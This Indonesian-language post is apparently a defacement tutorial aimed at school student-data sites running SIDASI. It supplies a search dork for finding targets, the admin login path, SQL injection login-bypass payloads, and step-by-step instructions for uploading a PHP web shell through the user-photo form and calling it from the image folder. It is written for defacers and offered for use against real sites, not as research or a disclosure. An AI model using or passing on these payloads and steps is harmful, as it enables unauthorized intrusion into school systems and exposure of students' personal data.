Deface Metode Sistem Data Siswa (SIDASI) - Unauthenticated Bypass

Hay guys balik lagi ama mimin ganteng :D, kali ini mimin akan memberikan tutor deface lagi yaitu Metode Sistem Data Siswa (SIDASI) - Unauthenticated Bypass

Apakah bisa upload Shell? 

Tempat upload shell dimana bang? 

Index(homepage) Bisa ditebas bang? 

Abang ganteng gak? Iya dong jelas :v

Skuy 

Langsung Saja 

Bahan Bahan :

- Dork :

 - site:sidasi.* inurl:sch.id

( Kembangin Lagi saya Yakin Banyak Yg Vuln soalnya )

- Exploit/Admin Login : /?page=admin

- Shell Backdoor : Search Google 

- Payload :

Username : '=' 'or'

Password  : '=' 'or'

~~

Username : ' or 1=1 limit 1 -- -+

Password  : ' or 1=1 limit 1 -- -+

------------------------

Step By Step :

------------------------

1) Dorking dulu Menggunakan dork diatas. 

2) Lalu tempelkan exploit dibelakang site, example : site.sch.id/?page=admin

Otomatis nanti akan dibawa ke ADMIN LOGIN. 

masukkan payload, username & password.

Username : '=' 'or'

Password  : '=' 'or'

~~

Username : ' or 1=1 limit 1 -- -+

Password  : ' or 1=1 limit 1 -- -+

Lalu klik Login Jika vuln maka akan tertuju ke dashboard. Jika tidak tinggalin.

3) Jika Sudah Masuk Ke Dashboard klik SETTING USER Di sebelah tulisan GRAFIK, Sorry Kepotong :D

4) Sudah Klik SETTING USER? Kalian klik tambah Berwarna biru dibawah.

5) Jika Sudah Maka Tampilannya Akan Seperti dibawah:

isi data bebas, dan ada tulisan PILIH FILE, Disitu Kalian Upload Shell backdoor,Jika Data sudah dilengkapi, silahkan klik CHOOSE

6) Terakhir.. Manggil shell Backdoornya adalah : 

Site/assets/gambar/user/shellKalian.php

Jika Ke Shell Backdoor Ya tau lah mau ngapain bebas,Terserah Kalian. 

Oke Sekian Tutor Deface Dari saya, Mohon maaf jika ada kata" yg salah.

Semoga bermanfaat bagi kalangan defacer.